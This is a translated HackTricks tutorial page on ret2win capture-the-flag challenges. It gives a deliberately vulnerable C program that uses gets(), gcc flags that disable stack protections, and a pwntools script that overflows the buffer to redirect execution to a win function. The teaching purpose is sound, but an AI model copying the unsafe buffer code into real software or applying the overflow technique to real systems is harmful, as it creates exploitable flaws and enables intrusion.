hacktricks/binary-exploitation/stack-overflow/ret2win
2024-05-05 23:08:22 +00:00
..
README.md Translated ['binary-exploitation/heap/README.md', 'binary-exploitation/h 2024-04-10 15:35:22 +00:00
ret2win-arm64.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 23:08:22 +00:00

Ret2win

htARTEHackTricks AWS Red Team Expert を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法

基本情報

Ret2win チャレンジは、特にバイナリエクスプロイテーションを含むCapture The Flag (CTF) コンペティションで人気のあるカテゴリです。目標は、与えられたバイナリ内の脆弱性を悪用して、通常winflagなどと名付けられた特定の未呼び出し関数を実行することです。通常、この関数を実行すると、フラグや成功メッセージが表示されます。チャレンジは、通常、スタック上の戻りアドレスを上書きして、実行フローを目的の関数に誘導することを含みます。以下は、例を交えた詳細な説明です:

Cの例

脆弱性を持つ単純なCプログラムと、呼び出したいwin関数があるとします:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

このプログラムをスタック保護を無効にして、ASLRを無効にしてコンパイルするには、次のコマンドを使用できます:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: プログラムを32ビットバイナリとしてコンパイルするこれはオプションですが、CTFチャレンジで一般的です
  • -fno-stack-protector: スタックオーバーフローに対する保護を無効にする。
  • -z execstack: スタック上でのコードの実行を許可する。
  • -no-pie: 位置独立実行可能ファイルを無効にして、win 関数のアドレスが変わらないようにする。
  • -o vulnerable: 出力ファイルの名前を vulnerable にする。

Pwntoolsを使用したPythonエクスプロイト

エクスプロイトでは、エクスプロイトスクリプトがバッファをオーバーフローさせ、リターンアドレスを win 関数のアドレスで上書きするペイロードを作成します。

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

win 関数のアドレスを見つけるためには、gdbobjdump、またはバイナリファイルを調査することができる他のツールを使用できます。たとえば、objdump を使用して次のようにします:

objdump -d vulnerable | grep win

このコマンドは、win 関数のアセンブリを表示し、その開始アドレスを含めます。

Pythonスクリプトは、vulnerable_function によって処理されるときに、注意深く作成されたメッセージを送信し、バッファをオーバーフローさせ、スタック上の戻りアドレスを win のアドレスで上書きします。vulnerable_function が返るとき、main に戻るか終了する代わりに、win にジャンプし、メッセージが表示されます。

保護

  • PIE無効にする必要があります。そうしないと、アドレスが実行ごとに信頼性のあるものにならず、関数が格納されるアドレスが常に同じでないため、win 関数がどこにロードされるかを特定するためには何らかのリークが必要になります。オーバーフローを引き起こす関数が read などの場合、1または2バイトの部分的な上書きを行うことで、戻りアドレスを win 関数に変更することができます。ASLRの動作により、最後の3つの16進数のニブルはランダム化されないため、正しい戻りアドレスを取得する確率は1/161ニブルです。
  • Stack Canaries も無効にするか、侵害された EIP 戻りアドレスは決して追跡されません。

他の例と参考文献

ARM64の例

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expertで!

HackTricksをサポートする他の方法